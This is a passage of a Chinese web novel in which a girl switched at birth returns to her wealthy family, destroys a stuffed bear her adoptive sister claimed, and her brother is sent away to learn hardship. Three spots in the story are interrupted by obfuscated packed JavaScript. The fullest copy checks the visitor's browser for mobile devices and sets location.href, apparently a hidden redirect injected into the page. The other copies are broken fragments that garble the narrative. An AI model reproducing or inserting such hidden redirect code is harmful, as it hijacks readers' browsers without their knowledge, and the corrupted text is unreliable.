其实本来叫佣人收拾就可以了，但据小执说，潇潇似乎不喜欢陌生人动她的东西，让她自己整理就好。 沈清仪一心想着弥补林梓潇，对顾执言听计从。 叮嘱完林梓潇，沈清仪就离开了。林景然搬东西进来的时候，林梓潇正往床上放自己的毛绒熊。 这只熊看起来憨态可掬，身上还穿着精致的，有点眼熟的毛衣。 林景然顿时觉得稀奇，放下手里的东西，好奇地凑了过去。 不过此熊虽然被护理的很好，还是能看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林景然看着身后紧闭的门，整张脸都气红了：“老爸找的机构权威吗？这目中无人的丫头真是我亲妹妹？” 林蔚然脸上难得没什么表情，扯了扯嘴角，掩去眼底的异样。 * 林梓潇卸下防备，抱过床头的小熊，靠着床在地毯上坐了下来。 她轻轻地摆弄小熊的耳朵，凑过去把脸埋在小熊的肚子上，深吸一口气。 小熊身上有淡淡的茶香气，前调清苦，后调又有回甘，像是身处雨中山林深处的茶庄，在烟雨中升起袅袅的茶雾。 和顾执身上如出一辙的味道，让人很安心。 小的时候，顾执放了假就会来陪她，她总是仗着年纪小要一起睡。 后来，顾执怕自己不在她睡不好，送来一只憨态可掬的小熊，用自己用的熏香熏过，有他的味道。 抱着小熊睡，就好像哥哥一直陪在她身边，从未离开。 林恺的疯狂和咒骂，生活的窘迫难捱，学习的清苦枯燥，都弥散在小熊的淡淡香味中。 林梓潇不自觉地把怀里的玩偶抱得更紧了些。 安抚玩偶吗……？ 或许是吧。 22. 第二十二章 到了晚餐的时间，沈清仪亲自上楼叫林梓潇下去吃饭。 门前传来轻轻的敲门声，沈清仪隔着门温柔道：“潇潇，妈妈可以进来吗？” 林梓潇瞥向书角，默默记了页码，抬头说：“请进。” 沈清仪轻手轻脚的进门。 一下午的时间，潇潇已经把房间都收拾地整整齐齐，她坐在书桌前，似乎正在提前预习课本。 沈清仪翻了翻她桌上的几本书，不由感叹道：“潇潇呀，怎么这么乖，这么用功呀。” 林景然和林蔚然虽然学习也不差，平时对学习也算上心，但并不是什么很用功的主儿，一放假就到处野，哪还有心思静下来学习。 林梓潇和他们俩那种，天生就有无数条退路的富家子弟不一样，她从小将读书视作自己唯一的出路，生怕差之毫厘，失之千里，所以一向拼尽全力，不敢松懈。 她合上书，问沈清仪：“是吃饭了吗？” “啊对，”沈清仪这才记起自己是来叫林梓潇下楼吃饭的，“今天你爸爸都没有去上班，专门做了好几道菜迎接你呢，爸爸平时可是不下厨的，多亏了潇潇我们才能吃到爸爸做的菜。” 林梓潇起身，抿唇朝沈清仪浅笑：“嗯，那我们下楼吧。” 她笑起来的时候，左脸颊会有一个浅浅的酒窝，有种甜甜的可爱。 沈清仪被小女儿少见的笑容晃了晃，眼神微微怔愣。 回过神来后，她立刻高兴地上前挽住女儿的手，亲亲昵昵的：“潇潇笑起来真可爱，以后要多笑笑啊。” 林梓潇有些不适应沈清仪亲密的动作，身体有些僵硬：“……嗯。” 沈清仪也没有介意林梓潇的冷淡反应。 顾执早就跟他们叮嘱过，潇潇是个比较慢热独立的孩子，需要长久的相处和陪伴，才能建立亲密度和信任感，要给她时间，给她空间，不能操之过急。 何况潇潇实在像她，也像林恒，整张脸都是挑着父母的长处长的，又漂亮又英气，让人看着就心底柔软，自己家的孩子，怎么看都顺眼。 两人到餐厅的时候，林蔚然和林景然已经早早坐下了，林恒端上最后一道菜，见人都到齐了，宣布道：“开饭吧。” 林景然如蒙大赦地动筷子，猛猛埋头吃饭。 林恒小时候是苦过来的，六七岁就要上灶头做饭，厨艺自然也不错，林景然吃得很香。 林景然埋头苦吃，林恒和林梓潇又是寡言少语的类型，席间都是林蔚然和沈清仪交谈的声音。 “对了妈妈，说起来，我和姐姐还有了一个姐妹款呢。”林蔚然无意间提起。 沈清仪顿时好奇：“什么姐妹款？” 林蔚然拿起一旁空座位上的毛绒熊，朝众人晃了晃：“眼熟吧？” “哦，潇潇床头好像也有一个呢，是不是？”沈清仪也想了起来，刚才进林梓潇房间的时候，确实看到她床头有一个一模一样的毛绒熊。 林梓潇性子淡，除了看书以外，似乎也没有什么特别的爱好，她床头有一只孤零零坐着的玩具熊，看着特别反差，所以沈清仪一下就记住了。 “是啊，我也是看到姐姐那只才想起来，以前顾执哥也送过我一个一模一样的，这是我找了一下午才从储物间翻出来的呢，还好没弄丢，”林蔚然抱着熊，笑得杏眼弯弯的，看起来可爱纯真，“一会让阿姨帮我洗一洗，到时候我也给小熊穿上衣服，放在床头，姐姐你说好不好？” 林梓潇微微抬眼，看着林蔚然手里那只毛绒熊。 确实跟她床头那只长得一模一样，唯一不同的是，她的那只被小心翼翼地收在床头，而这一只，早蒙上了一层灰，颜色都变得浑浊，只有角落BuildaBear的标签清晰可见。 林梓潇放下筷子，从林蔚然手里拿过熊玩偶。 林蔚然笑容不减：“怎么样姐姐，是不是一模一样？” 林梓潇拿着熊的手微微颤了颤，她紧紧盯着手里的玩偶，伸手捏了捏它熊掌的部位。 里面传来顾执还有些清越稚嫩的、模糊不清的声音：“小宝，晚安。” 这是顾执在港城定制的玩偶，小熊的前掌里放着一个留声片，按压后就会发出声音。 林梓潇闭上眼睛，深吸一口气。 随后她面无表情地起身，走向厨房。 林蔚然疑惑地声音从身后传来：“姐姐，怎么了？” 沈清仪也起身跟过去：“怎么了潇潇，要拿什么跟妈妈说。” 林梓潇没有理会其他人的疑惑，她径直拿起刀架上的剪刀，在沈清仪的惊呼声中，毫不犹豫地剪开了小熊背后的缝线，三两下扯出它全身的棉花，直到翻到它熊掌上的小型留声机才停手。 餐桌上的几人，随着沈清仪的惊呼，也陆续放下碗筷走进厨房。 只见林梓潇淡漠地看着地上已然变得残破的小熊，而沈清仪在原地惊讶得回不过神。 林蔚然愣愣地看着已然被林梓潇毁得不成样子的小熊，眼泪涌上漂亮的眸子，声音颤抖，不自觉带了哭腔：“姐…姐姐你……为什么要把小熊剪坏？这是顾执哥送我的礼物啊……” 林景然本就对林梓潇不满，见自己一向疼爱的妹妹委屈抽泣，顿时火冒三丈，指着林梓潇吼道：“林梓潇你是不是有病？你平时目中无人就算了，无缘无故的，剪蔚然的东西做什么？” 林恒皱着眉头，拍掉林景然指着林梓潇的手：“林景然，注意你的态度！” 林景然面对父亲的严厉，这次却没有怂，梗着脖子道：“爸，你还要护着这没教养的丫头？你平时是这么教我们的吗？蔚然什么都没做错，你就这样任由林梓潇损坏别人的东西？” 见养女哭得越来越可怜，林恒也顿感一阵头疼，他走上前，尽量温和地询问道：“潇潇，能告诉爸爸你为什么要剪掉这个玩偶吗？” 林梓潇不说话，也不看林恒，只是漠然地看着地上零落的可怜的小熊玩偶。 林恒心里也很疑惑。 林梓潇并不是不讲道理的孩子，她早熟多思，做事都是有理有据的，比林景然那货不知道稳重多少倍。而且看她之前的态度，她对蔚然并不算排斥，怎么会突然做出这种有明显攻击性的行为？ 林景然冷笑道：“还能是因为什么，肯定是嫉妒顾执哥送蔚然礼物呗，林梓潇，你心眼可真小，顾执哥每年都要送蔚然礼物，难道你还要都毁了吗？” 林恒看着林景然那拱火的死样子，气不打一出来，嗓门都高了：“林景然，再胡言乱语，你就给我滚出去！” 林蔚然在一旁哭得伤心，见爸爸和哥哥吵起来，主动退让道：“没关系的，本来就是我抢了姐姐的，如果我不是林家的女儿，顾执哥也不会给我送礼物，那些东西，本来就是送给姐姐的，她想怎么处置都可以。” 林景然顿时心疼，安慰道：“怎么会，那些东西送给你了，那就是你的，就算顾执哥来了，也会说是你的。” 林恒不理会这两个小的，他柔着语气，又问了林梓潇一遍：“潇潇，爸爸知道你做事都是有原因的，告诉爸爸原因，好不好？” 林梓潇还是不说话，只用沉默应对着一切。 就在场面焦灼的时候，门口突然响起了门铃。 沈清仪好像就在等着这门铃似的，她指了指 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厨房里还在僵持着，林蔚然哭泣不止，而林景然手忙脚乱地安慰着她，林恒焦头烂额，只有潇潇，盯着地上的破熊出神，脸上表情呆呆的，手里紧紧捏着什么。 顾执来的时候已经跟沈清仪了解过大致的情况，看到自家小姑娘这副模样，顿时蹙起眉头。 早上送到林家的时候，还是乖乖的，笑意盈盈的，怎么才过了一天都不到，就变成了这样？ 她看着地上那只破熊的时候，心里在想着什么？ 顾执心都疼了，随即，他舒展开眉目，噙着一丝温缓，柔声唤道：“潇潇，过来。” 林梓潇听到熟悉的声音，一瞬间回过神，猛地抬头看向顾执。 在她诧然的目光中，顾执缓缓张开了双臂，声音低柔地又重复了一遍：“小宝，过来。” 林梓潇鼻尖一酸，三两步扑到了顾执怀里，深深埋着，不一会就传出了低低的呜咽声。 顾执心里一阵酸涩，他搂紧怀里的小姑娘，轻轻拍着她的后背安抚：“没事，不哭，哥哥不是来了吗？” 林景然见顾执一来林梓潇就哭了，顿时气不打一出来，嗤道：“你还委屈上了，被剪了玩偶的是蔚然，你哭什么？顾执哥你来的正好，赶紧教育她一下，这可是你送给蔚然的礼物，林梓潇不声不响就剪了，真是无法无天！” 顾执面色一凛，眸光冰冷地扫向林景然。 林景然吓了一跳，下意识噤了声。 他们圈子里这些年龄相仿的孩子里，顾执哥向来是最温和的，他对他们这些小的，总是有一种大人对孩子的包容感，他何时对自己露出过这种冷到极致的神色？ 连林蔚然都停了哭声，结结巴巴地说：“顾、顾执哥，我没关系的……这些本来就是姐姐的。” “确实是这样，”顾执轻轻摩挲着林梓潇的长发，一边安抚她一边说，“我送给蔚然的礼物，严格意义上，是送给潇潇的，潇潇想怎么处置都可以。何况，这只熊原本就是潇潇的，也不是我送给你的，是不是？” 顾执淡漠的眼神不经意似的瞥了一眼林蔚然。 林蔚然顿时有种被他看透的感觉，她颤了颤身子，装作仔细回忆的样子：“啊……好像确实是宋姨给我的。” 顾执似笑非笑地勾着嘴角：“潇潇小的时候，没有爸爸妈妈陪睡，只有我放假的时候，能去豫西陪陪她，怕她一个人睡不好，我专程去港城定制装了留声片的小熊，为了避免运输时的损耗，订了两只以防意外，后来一只送给潇潇，一只放在家里。” “蔚然，你小时候来家里玩，抱着小熊不撒手，宋姨才送给你，不记得了？” 23. 第二十三章 林蔚然的嘴唇不自觉地嗫嚅着。 她没想到，关于小时候的事，顾执竟然会记得这么清楚，更低估了顾执对林梓潇的爱护。 一个是干妹妹，一个是从小一起长大的青梅，她以为即使顾执来了，也顶多是当个和稀泥的和事佬，可在她和林梓潇之间产生冲突的时候，顾执的表现就像是她在林梓潇面前根本不足挂齿。 又或者是因为，她不是林家真正的女儿。 林蔚然冷眼看着温柔哄着林梓潇的顾执。 “潇潇不哭，一只熊而已，剪了就剪了。”顾执搂着哭成泪人的小姑娘，轻声细语地哄着。 林梓潇平复了不少，窝在他怀里，偶尔传来一两声隐隐约约的抽泣。 林景然也没想到，顾执对林梓潇能纵容到这份上。 蔚然明明是在示好，可林梓潇不分青红皂白就剪了熊，就算这熊是顾执送给她的，但说剪就剪未免也太霸道了。 就算这样，顾执还是一味地护着她，难怪林梓潇性子这么无所顾忌，合着全是顾执这个哥哥宠出来的。 他也是哥哥，也看不得自己妹妹受委屈，刚想说些什么，却被父亲一把拉住。 林恒目光冷冽，警告地盯着林景然。 林景然缩了缩脖子，以他对老爸的了解，老爸现在是真的生气了。 林景然不敢再说什么，只好眼睁睁看着顾执把林梓潇带上楼。 一旁的林蔚然，也早被顾执吓得止住了眼泪，神色不明。 林恒抽了几张纸巾，塞给小女儿：“蔚然，擦擦眼泪，你也先上楼休息吧。” 他转向林景然，脸色立刻变得严肃难看，语气也不好听：“还有你，林景然，没事干就滚上去。” 林景然：“……哦。” * 顾执把林梓潇牵到床边坐着，转身抽了床头柜上的纸巾，蹲在她面前，轻轻替她擦着眼泪。 小姑娘哭得眼睛鼻头都红红的，一张白净的小脸上都是泪痕，好不可怜。 擦干净了脸上的眼泪，顾执又抽了两张干净的纸巾，捏着小女孩的鼻尖：“擤一擤鼻子。” 林梓潇乖乖地哼了两下。 处理干净了，林梓潇垂眸认真看着蹲在自己面前的顾执。 顾执来得急，还穿着在家里的居家服，额前的碎发都变得凌乱，稀松地落在眉眼上。 他一向稳重齐整，很少见到这样凌乱的模样，莫名叫人……心动。 顾执个子高，手也大，手指修长却有力量感，手背上的青筋有些明显，他的手搭在床沿，虚虚地围着林梓潇。 林梓潇盯着他的手：“哥哥，你会怪我吗……” 她知道自己今天的行为，在别人看来，或许是极其任性霸道的。 可对于林梓潇来说，林蔚然说的每一句话都像是挑衅。 她并不在意林蔚然是否抢占了本该属于她的人生，她可以让出爸爸妈妈，可以让出那个让人讨厌的双生子哥哥，就像她确实从未拥有一样。 可是她不能让出顾执，不能接受顾执的声音在其他人要入睡时响起，不能容忍那个已经享受了一切的女孩，染指她的所有物。 顾执是她一个人的。 “……”顾执轻叹一口气，起身跟林梓潇一起坐在床边，伸手搂着她：“哥哥不是早就告诉过你，会永远站在你这边吗？” 林梓潇靠在他肩头，缓缓松了口气。 她不在乎新的爸妈怎么看她，不在乎林景然怎么看她，她只在乎顾执而已。 在看到林蔚然手里那只熊的时候，她有过一瞬间的动摇，她怕顾执不止是对她好而已。 那一瞬间涌上心头的独占欲和阴暗的戾气，根本没法克制。 顾执轻轻抚着林梓潇的长发：“哥哥是潇潇一个人的哥哥，可以对我发脾气，可以对我使小性子，可以直接地表达自己的诉求，可以做任何你想做的事。” “哥哥永远无条件爱你。” 【监测到幸福值变动，幸福值加5，目前总计为40】 听到系统的播报声，顾执也安心了下来。 他站起身，摸摸林梓潇的头，又陪她说了会话，才转身离开房间。 * 林父林母还在楼下的客厅坐着，林恒仔细想了想事情的经过，也回过味来了。 潇潇平时比较沉默寡言，情绪也稳定，不会轻易动怒，她刚刚突然爆发，是因为那只小熊。 就连被错换的事，她都没有展现出过分负面的情绪，甚至接受蔚然在家里继续呆着，可对于顾执，潇潇有着极其强烈的独占欲，小熊是顾执专门定制送给她的礼物，她不接受蔚然也有同样的玩具。 沈清仪也发现了潇潇情绪突然失控的原因，她有些忧愁地对林恒说：“老公，潇潇这样，是不是有点霸道啊，再怎么说，那确实也是蔚然的东西，我们是不是因为好好劝劝她？” 一方面，潇潇刚刚回来，全家都抱着想尽量弥补她，对她好的心思，可另一方面，蔚然也是家里的女儿，她突然被毁了礼物，心里想必也是委屈的，不能因为潇潇就忽视了她。 林恒刚想说话，就看到顾执从楼上走了下来。 他连忙起身问：“潇潇怎么样了？” 顾执走下阶梯，朝林恒点头示意：“不用担心，已经平复下来了。” 顾执走到林父林母对面的单人沙发椅上坐下：“林叔，沈姨，刚好我也有些话，想跟你们聊一聊。” 林恒叹了口气，坐下来：“小执你说。” 潇潇刚回来，两个孩子就爆发了这么大的冲突，他也想好好和顾执交流交流带娃心得。 林家长期以来都是男主外女主内的模式，林恒常年忙于公司事务，出差也很频繁，对于家里孩子的教育，向来是放手给沈清仪管的，只有在发生重大事件时，他才会插手，所以在这些事情上，他很是生疏。 顾执点点头：“潇潇的资料，想必叔叔阿姨都看过了。” 沈清仪连连点头。 林恒下属总结过来的几页资料，很精简，可那么短短几行字，全是潇潇触目惊心的过往。 她似乎过得并不好，如果不是顾家资助，简直可以用凄惨来形容。 顾执想，他们不知道的是，原小说里的潇潇，过得是更痛苦，更晦暗的日子。 “普通的孩子，纵使没有最好的朋友，没有那么多爱自己的亲人，但他们至少能确定，父母是最爱自己的人，可潇潇她从来没有被父母疼爱过。” “这么多年来，林蔚然被你们捧在掌心宠爱，住着宽敞明亮的大房子，享受最好的教育，可潇潇却还要为生计发愁，她之所以一直这么用功这么努力地读书，是因为她知道那是她唯一的出路。” “或许你们会觉得，我对潇潇过分纵容，连她毫无缘由地破坏别人的东西，我都包容她护着她，那是因为我想让她知道，不管发生什么事，我永远是那个无条件爱她，也是最爱她的人。” “潇潇需要的不是公平，而是偏爱。” 林恒和沈清仪集体陷入了若有所思的沉默中。 林蔚然享有他们的爱很多年，她每年生日、游学、旅行，上着高额学费的贵族学校，请私人教师学习钢琴、马术、外语。 可与此同时，他们的亲生女儿，正在生活的泥潭里挣扎，她要多努力，才能够在那样的环境生活下去，要付出多少努力才能成为市里的探花。 他们企图让林蔚然和林梓潇享有同等的公平的待遇，这本身就是对潇潇的伤害。 潇潇能对顾执如此信任，也正是因为顾执给了她足够的偏爱和安全感。 这也难怪，潇潇对他们一直不冷不淡。 见林家夫妻似乎想通了，顾执起身，嘴角勾着一丝笑意，与他温顺亲和的模样不同的，是他冰冷坚定的话语：“叔叔阿姨，如果你们不能给潇潇足够的偏爱和包容，如果再发生像今天这样的事，我想还是把潇潇接回顾家，我会比较放心。” 林恒抬头看着顾执。 这孩子确实是跟顾清明越来越像了，面上虽笑着，但态度却比谁都强硬。 林恒也站起身，郑重地拍了拍顾执的肩，认真地许诺：“小执，你放心吧，潇潇我们一定会照顾好的。” 顾执的笑意这才从嘴角蔓延到眼底，他浅笑着点头：“那就好，叔叔阿姨，我就先走了。” 林恒跟着想把他送出去。 顾执又突然想到什么似的，回过头，唇角勾起一丝冰冷的弧度：“景然那孩子，好像还有点搞不清状况…林叔，你有时间的话，需要好好教教他了。” 林景然年纪小，还不明白错换这件事会带来什么样的影响，他目光尚浅，只看得到林梓潇的漠然和林蔚然的可怜脆弱，对自己相处了十余年的妹妹，他似乎有种莫名的义气。 顾执不希望，林景然这种蠢过头的义气，有影响到潇潇的可能。 林恒也早已注意到了林景然对林梓潇的排斥，他承诺道：“放心，我会处理他。” 林景然这货，确实需要好好鞭打鞭打了。 * 林恒办事效率极高，不出几天，他就安排好了林景然的去处。 林景然和林蔚然从小在长京国际读书，大部分学生都是小初高直升，学校给他们安排了一些暑假作业，不过因为刚结束中考，所以也并不多，林景然无事一身轻，每天都要睡到日上三竿，吃午饭了才悠悠起床。 林恒每天早起上班，还时常出差，自然也很少管他。 但林恒今天特意没去公司，径直走进林景然的房间，一把拉开窗帘，刺目的阳光立刻照射了进来。 林景然被亮醒，不满地哼唧两声，把头埋进枕头。 林恒一把扯掉他的枕头。 林景然快崩溃了：“爸你干嘛呀！” 林恒冷眼看着他在床上蠕动的样子：“起床，收拾行李。” “收拾行李……收拾行李做什么？”林景然瞬间从床上弹跳了起来：“要去旅游了吗，这么突然？去哪里？北欧？” 林恒之前答应过，中考完就送他和蔚然去北欧旅行避暑，两人签证都办完了。 林恒没有否认：“送你去过暑假，赶紧收拾行李。” 林景然顿时也没有早起的怨言了，兴奋地拖出自己的行李箱，往里面胡乱塞着衣服。 林恒低头看了看表：“给你十五分钟，我在门口等你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林恒把手里的钥匙递给他：“房间是402。” 林景然面如死灰地接过去，行尸走肉般地下车，拿行李，内心十分后悔自己刚才没有多塞点吃的喝的。 等林恒的车彻底扬长而去，连车尾气都看不到，林景然才不得不认命地拎起自己的行李箱，往楼上搬。 虽然楼层不高，但没电梯，搬个足有二三十千克的行李箱，到底还是费劲的。 林景然满头大汗地打开房间门，看到面前阴暗逼仄的房子，顿时想死的心都有了。 五十平的小房子，还是朝西的，几天没人住，就充斥着一股潮湿的霉味。 大少爷记事起住的就是几百平的大别墅，同学家再不济也是百来平的小洋房，哪里见识过这种生存环境。 林梓潇家的客厅空空荡荡，能拿起来的家具基本都让林恺打砸了，后来林恺入了狱，林梓潇也整天忙于学习，没有什么闲心装点，因此客厅就一直保持着这种近乎于毛坯房的状态。 这么小的房子，竟然还有两室一厅。 两间卧室分别是林恺和林梓潇的房间，林恺入狱后，他的房间就被林梓潇用来堆杂物了，压根不能看。 于是林景然只好拖着行李走进了林梓潇的房间。 她房间里大部分东西都已经带去了京城，只留下一些本子、教材，几本翻烂的书，还有林恒给他准备的基础生活用品。 虽然这里已经很空荡了，但依然留下了很多林梓潇曾经生活过的痕迹，林景然心情有些复杂，他伸手拿起桌面上林梓潇的习题册。 林梓潇的字很好看，笔锋遒劲，潇洒却又工整，一笔一画地做对每一道题。 林景然翻动书页的瞬间，一张字条从习题册里掉了出来。 字条上陌生的笔迹用活泼的语气约林梓潇放学后去打球。 劲道的字迹是林梓潇的，她回好。 那个人又开始问林梓潇数学题目，林梓潇寥寥几笔，三两拨千金地写下了解题思路。 那人显然也不是个笨蛋，很快领悟，两人又有一搭没一搭地聊起了别的，有时是吐槽老师，有时只是讲些没营养的笑话。 林景然捏着这张字条，仿佛从这字里行间，看到了一个完全不一样的林梓潇。 她温和可靠，有时也透露出一些调皮，那是和她在林家时完全不一样的模样。 房间的角落，有一只已经瘪掉很久的篮球，篮球上记号笔的痕迹已经有些斑驳了。 “给我最爱的女儿潇潇” 那字迹这样写。 林梓潇把这只瘪掉的篮球留在这里，没有带走。 在看到这些旧物后，被爸爸莫名其妙丢来这里的愤慨，以及对未来生活的迷茫似乎都消散了。 林景然从京城里富贵无边的日子里抽离出来，发现自己竟然没有一刻设身处地为林梓潇想过。 如果当年被错换的人是他，如果住在这个阴暗逼仄的房间里十几年的人是他，他是否能对这个世界报以善意，又能否做到像林梓潇这样坚强。 答案是否定的。 24. 第二十四章 对于过惯了饭来张口衣来伸手日子的林大少爷来说，一个人生活的日子有些难以适应，只过了一天，他就打起了退堂鼓，可怜巴巴地给林恒发短信求饶。 林景然：老爸，求你了，让我回去吧！我又不会做饭，才三百块我怎么活啊？ 林恒不咸不淡地怼回一句：以前你妹妹三百块就能过一个月，换你怎么就不行了？这都做不到，以后少在她面前说三道四。 林景然一听这话，顿时来了劲儿。 凭什么林梓潇行他就不行，他偏偏要证明给老爸看，他不比林梓潇差！ 理想是丰满的，现实却是骨感的，大少爷平时随便和朋友出去搓一顿，三五百就花出去了，这一个月三百多生活费着实让人有些犯难。 就这点钱，出去下馆子肯定是不现实的，用不了几天就花完了，到时候就只能喝西北风。 林景然走出房间，巡视了一下厨房。 好在老爸也不算太丧尽天良，还给他买了些基础调料放在灶台，贴心地附赠了一小袋米，这是摆明了要他自己做饭。 林景然哪里会做饭，他周围的朋友也都是一些十指不沾阳春水的少爷人物，一时竟不知道向谁求助。 求助…… 林景然突然福至心灵，三两步跑回房间，翻出书架上林梓潇没带走的家校联系本，林梓潇初三时，林恺早已入狱，所以她写的联系方式应该是她自己的。 林景然一边赞叹自己聪明，一边拨通了联系簿上的电话。 没过几秒，电话接通了，林梓潇淡淡的声音混着电流声从电话那端传来：“哪位？” 林景然清了清嗓子：“是我，林景然。” 林梓潇沉默了几秒，语气依然淡漠：“找我干什么？” 据林恒说，林景然去参加求生夏令营了，这种地方可以带手机吗？ “那什么，你能不能教我几道便宜饱腹的菜啊。”林景然有些不好意思，毕竟他离开家之前，跟林梓潇的关系算不上好，只是想起昨天看到的那张字条，不知怎么的就给她拨去了电话。 那头的人没有说话，林景然以为她不想教自己，忙加码道：“我房间里有最新款的PS2，你要是教我，就让你拿去随便玩！” 林梓潇这才嗤笑一声：“哥哥有给我买。” 林景然迟钝了一秒，才反应过来林梓潇说的哥哥不是他，而是顾执。 他面红耳赤地争：“我也能给你买，我给你买更好的！” 林梓潇笑意里嘲讽意味更浓：“净给些没人要的东西。” “你你你！”林景然再次被她气得失语。 林梓潇见好就收，不再为难他，轻轻笑了声：“那我教你番茄炒蛋吧，两个鸡蛋打散，锅烧热后倒油……” 幸福来的太突然，林景然慌慌忙忙地拿出林梓潇的笔记本，““等等等等，我找个本子记啊……好了，接着说吧。” 林景然缠着林梓潇，一连记了四五个菜的做法才作罢，还没等他道谢，林梓潇那头就果断地挂了电话。 林景然盯着手机，莫名笑了起来。 这个臭丫头，还是一如既往的没礼貌。 不过她教人倒是细致，什么时候放调料，调料放多少量，开多大火，事无巨细。 林景然揣着从林梓潇那里抄来的宝典，信心满满地出门买菜了。 * 林景然在生存夏令营里努力存活的日子里，林梓潇也没闲着。 八月初长京国际会召回所有学生进行开学摸底考，既是提醒学生暑假不能放飞自我，也是开学时分班的依据。 林梓潇意指榜首，她不清楚京城学生的实力，自然要想办法摸摸对手的底。 忙不是白帮的，林梓潇让林景然还人情的时候，也没有客气，她一个电话就打了回去。 电话很快被接了起来，那头传来的却不是林景然的声音。 “潇姐，好久不见啊！惊不惊喜，意不意外！” “胡见明？”林梓潇从而耳边拿下手机，确认自己打的是林景然的电话无疑，她疑惑地问：“怎么是你？” 林景然拿回电话，走远了些：“是我，我前几天想去卤味店买点好吃的犒劳下自己来着，你同学看我跟你长得像，就问我认不认识你，我说这不巧了，我是你哥啊！” 林梓潇有些无语：“你的钱还剩多少，就敢犒劳自己。” 自从第一次林景然给她打电话，林梓潇多多少少就猜到了林景然是被林恒流放了，问了林恒，他也没有隐瞒。 林景然性子直来直往，多次对刚回来的妹妹出言不逊，就把他扔到豫西长长记性。 林梓潇表示赞同。 这种一根直肠通大脑的少爷病，就应该吃吃苦头。 “哎你别说，你还真别说，要不是我对自己好，犒劳自己，我还遇不到你同学呢，你同学妈妈为了感谢你之前帮他补习，留我吃了好几顿饭呢！”林景然话里全是对自己聪明才智的欣赏。 林梓潇扯了扯嘴角：“呵呵，你倒是脸皮厚。” 林景然已经习惯了林梓潇那张淬了毒的嘴，憨憨一笑：“我这叫合理利用资源，对了，你打电话给我什么事？” 林梓潇开门见山：“我想看看你们学校初三模考的卷子，还有你每次模考的成绩。” 长京国际的学生多是小初高直升，虽然也会有一部分学生离开，有一部分学生新入学，但大体上变动不大，值得参考。 “哦，你直接去我房间找吧，阿姨知道放在哪，试卷和成绩单都放在一起，你随意。” 林梓潇：“谢了。” 林景然知道她挂电话一向快，连忙打断：“哎！先别挂！那个，你再教我几道菜呗，之前的我都做腻了。” 林梓潇不阴不阳地讽刺他：“你不是在我同学家蹭饭蹭得很开心吗？” “这饭蹭多了也怪不好意思的，我得做顿好点的感谢人家，你教我道硬菜。” 林景然好歹也是京城豪门世家的少爷，人情世故还是懂的，也不好意思一直白吃白喝人家的。 “行，那我教你一道红烧肉，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578474|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记着。” 林景然熟练地拿出小本本记笔记。 沈清仪和林蔚然逛街回来，正巧碰到林梓潇在花园里跟林景然讲电话，不忍打断这俩兄妹的温情时刻，站在秋千后面从头听到了尾，嘴角的笑意压抑不住。 原本以为林景然和林梓潇性子不对付，都是她的亲骨肉，自然也不想看到血亲的兄妹这样针锋相对，沈清仪还难过的一阵。 知道林恒要把林景然送去豫西吃吃苦头，本来她是反对的。 景然从小锦衣玉食，哪里吃得了那种苦，景然一向怕父亲，提点他几句就好了，可林恒就是铁了心要把他送回豫西。 沈清仪做不了林恒的主，也不敢偷偷支援林景然。 现在看来，老公确实比她有远见多了，林景然不但在豫西呆得好好的，和梓潇的关系也日渐亲密，虽说两人还是总互怼，但明显不是梓潇刚回来时那种针尖对麦芒的状态了。 见林梓潇挂了电话，沈清仪笑着凑上去：“潇潇，看你们兄妹聊得好，我就放心了，你们俩可是同一胞出生的兄妹，天底下最亲的人。” 林梓潇没想到沈清仪和林蔚然在她身后站了这么久，脸色有些尴尬：“……嗯，您逛街回来了。” “是啊姐姐，我和妈妈给你挑了好多东西呢，”林蔚然晃了晃手里的购物袋，巧笑倩兮：“都不知道你喜不喜欢，学习什么时候都可以学嘛，下次你一定要跟我们一起去啊！” 沈清仪附和道：“是啊潇潇，学习辛苦，偶尔也要出去散散心嘛。” 林梓潇勾了勾唇，低下头：“好，等摸底考结束，我一定陪妈妈一起逛街，对不起妈妈，我在豫西的时候习惯了努力学习，生怕自己成绩差了，就没办法靠读书改变命运了，下次我肯定不扫妈妈的兴。” 沈清仪想起林梓潇在豫西的经历，立刻面露兴疼。 景然和蔚然过惯了锦衣玉食的生活，知道一切都有家里托底，所以学习虽然从不落下，但也不会太为难自己，但潇潇不一样，她是想着要靠读书改变未来，出人头地的。 沈清仪疼惜地抚摸林梓潇的脸蛋，声音里都带了哭腔：“没关系潇潇，这哪叫扫兴啊，妈妈高兴着呢，喜欢学习是好事，用不着自责。” 林梓潇低头埋在沈清仪带着清新芳香的掌心，没漏掉林蔚然脸上一闪而过的难看面色。 林蔚然状若无意地打断母女俩的感人场面，朝林梓潇笑道：“姐姐，刚刚你是不是跟哥哥说想要他试卷来着，不用麻烦了，我和哥哥是一个学校的，我拿给你吧。” “谢谢，不过我听林景然说，他成绩比你好一点，我觉得他的卷子对我来说更有参考意义，就不麻烦你了。”林梓潇牵过沈清仪覆在她脸上的手，对林蔚然微微勾唇一笑，流露出几分若有若无的得意来。 沈清仪紧紧牵着林梓潇的手，拉她进屋：“走潇潇，我让梁姨帮你拿，景然的房间平时都是她收拾的。” 母女俩牵着手亲亲密密地走了进去，只留林蔚然在原地，看着还在轻轻晃动的秋千，不由握紧了拳头。 25. 第二十五章 